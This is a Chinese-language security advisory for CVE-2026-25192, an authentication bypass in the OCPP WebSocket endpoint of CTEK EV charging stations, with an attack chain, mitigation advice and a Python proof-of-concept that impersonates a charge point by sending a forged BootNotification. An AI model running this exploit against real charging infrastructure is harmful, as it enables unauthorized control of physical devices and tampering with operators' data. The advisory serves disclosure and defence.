IPBUF安全漏洞报告
English
CVE-2026-25192 CVSS 9.4 严重

CVE-2026-25192 WebSocket认证缺失导致充电桩被接管

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-25192
漏洞类型
认证绕过
CVSS评分
9.4 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
CTEK 充电基础设施

相关标签

认证绕过OCPPWebSocketCTEK物联网安全工控安全EV充电桩

漏洞概述

该漏洞源于CTEK充电基础设施的WebSocket端点缺乏适当的身份验证机制。未经身份验证的攻击者可利用已知的充电桩标识符连接到OCPP WebSocket端点,从而冒充合法充电站。这使得攻击者能够发送或接收OCPP指令,导致权限提升、未授权控制充电基础设施以及破坏后台网络数据的完整性。

技术细节

该漏洞的核心在于OCPP(开放充电点协议)WebSocket接口在建立连接时未对客户端进行身份验证。在正常流程中,充电桩通过WebSocket连接中央管理系统,并使用唯一标识符(ChargeBox ID)进行注册。受影响的系统允许任何持有或猜中该ID的设备建立连接,且未检查连接令牌或证书。攻击者通过网络嗅探或枚举获取ID后,可主动向服务器发起WebSocket连接。一旦连接建立,服务器将攻击者视为受信任的充电桩。攻击者随后可构造恶意的OCPP JSON消息,如伪造充电状态、修改配置参数或发送远程控制指令,完全绕过系统的安全防线,实现对物理设备的远程控制。

攻击链分析

STEP 1
信息收集
攻击者通过网络扫描发现目标WebSocket端口,并获取或猜测充电站标识符(ChargeBox ID)。
STEP 2
建立连接
攻击者使用获取的ID,直接向受害者的OCPP WebSocket端点发起连接请求,由于缺乏认证,连接成功建立。
STEP 3
身份冒充
攻击者发送伪造的OCPP消息(如BootNotification),使后台服务器将其误认为是合法的充电设备。
STEP 4
执行攻击
攻击者发送恶意指令控制充电过程、篡改数据或进行拒绝服务攻击,造成实质性的物理或数据影响。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import websocket import json # PoC for CVE-2026-25192: Unauthenticated OCPP Connection # Description: Connect to the vulnerable WebSocket endpoint without credentials # and impersonate a charging station. def exploit_ocpp(target_host, charge_box_id): # Construct the WebSocket URL (usually /ocpp or similar) ws_url = f"ws://{target_host}/ocpp" try: print(f"[*] Connecting to {ws_url} as {charge_box_id}...") # Establish connection without authentication headers ws = websocket.create_connection(ws_url) # Craft a malicious BootNotification message (OCPP 1.6) payload = [ 2, "1", "BootNotification", { "chargePointVendor": "AttackerVendor", "chargePointModel": "PoCModel", "chargePointSerialNumber": "Hacked001" } ] print("[*] Sending malicious BootNotification...") ws.send(json.dumps(payload)) # Wait for response from the central system response = ws.recv() print(f"[+] Server Response: {response}") # If accepted, we can now send other commands (e.g., MeterValues, StatusNotification) print("[+] Impersonation successful. Attacker can now issue OCPP commands.") ws.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target IP and a valid/known ChargeBox ID target = "192.168.1.100" cbox_id = "CP001" exploit_ocpp(target, cbox_id)

影响范围

CTEK Charging Station 所有受影响版本 (具体请参考厂商公告)

防御指南

临时缓解措施
建议立即隔离受影响的充电设备,避免其暴露在公网中。通过防火墙规则限制WebSocket端口的入站连接,仅允许白名单IP访问。同时,应密切监控后台系统的日志,检查是否存在异常的充电站连接行为或未授权的指令操作,直到完成补丁修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表